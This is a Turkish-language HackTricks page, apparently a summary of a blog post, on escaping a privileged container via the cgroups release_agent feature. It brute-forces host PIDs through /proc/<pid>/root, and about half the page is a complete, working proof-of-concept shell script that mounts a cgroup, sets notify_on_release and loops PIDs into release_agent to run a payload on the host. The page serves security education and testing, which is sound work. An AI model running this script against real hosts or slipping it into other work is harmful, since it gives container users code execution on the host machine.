release_agent exploit - Relative Paths to PIDs

AWS hackleme konusunda sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Daha fazla ayrıntı için https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html adresindeki blog yazısını kontrol edin. İşte sadece bir özet:

Teknik, bir konteyner içinden ana bilgisayarda kod çalıştırmak için bir yöntem açıklar. Bu yöntem, konteynerin dosya sistemi yolunu bulmayı zorlaştıran depolama sürücüsü yapılandırmalarını (Kata Containers veya belirli devicemapper ayarları gibi) aşar.

Ana adımlar:

  1. İşlem Kimliklerini (PID'leri) Bulma: Linux sahte dosya sistemindeki /proc/<pid>/root sembolik bağlantısını kullanarak, konteyner içindeki herhangi bir dosya ana bilgisayarın dosya sistemiyle ilişkilendirilebilir. Bu, konteynerin ana bilgisayardaki dosya sistemi yolunu bilmek gereksinimini ortadan kaldırır.

  2. PID Saldırısı: Ana bilgisayardaki PID'leri aramak için kaba kuvvet yöntemi kullanılır. Bu, sırasıyla /proc/<pid>/root/<dosya> konumunda belirli bir dosyanın varlığını kontrol ederek yapılır. Dosya bulunduğunda, ilgili PID'nin hedef konteyner içinde çalışan bir işleme ait olduğunu gösterir.

  3. Çalıştırmayı Tetikleme: Tahmin edilen PID yolunu cgroups release_agent dosyasına yazmak. Bu eylem, release_agent'ın çalıştırılmasını tetikler. Bu adımın başarılı olduğu, bir çıktı dosyasının oluşturulup oluşturulmadığı kontrol edilerek doğrulanır.

Saldırı Süreci

Saldırı süreci, konteyner içinde çalışan bir işlemin doğru PID'sini tahmin ederek ana bilgisayarda bir yük çalıştırmayı amaçlayan daha ayrıntılı bir dizi eylemi içerir. İşte nasıl gerçekleşir:

  1. Ortamı Başlatma: Ana bilgisayarda bir yük betiği (payload.sh) hazırlanır ve cgroup manipülasyonu için benzersiz bir dizin oluşturulur.

  2. Yükü Hazırlama: Ana bilgisayarda çalıştırılacak komutları içeren yük betiği yazılır ve çalıştırılabilir hale getirilir.

  3. Cgroup Ayarları: Cgroup bağlanır ve yapılandırılır. notify_on_release bayrağı, cgroup serbest bırakıldığında yükün çalıştırılmasını sağlamak için ayarlanır.

  4. PID Kaba Kuvveti: Bir döngü, potansiyel PID'ler arasında dolaşarak her tahmin edilen PID'yi release_agent dosyasına yazar. Bu, etkili bir şekilde yük betiğini release_agent olarak ayarlar.

  5. Tetikleme ve Çalışmanın Kontrolü: Her PID için, yük betiğinin çıktısı bulunana kadar cgroup'ın cgroup.procs'una yazılır. Bu, PID'nin doğru olduğunda release_agent'ın çalıştırılmasını tetikler. Döngü, yük betiğinin çıktısı bulunana kadar devam eder, bu da başarılı bir şekilde çalıştırıldığını gösterir.

Blog yazısından PoC:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated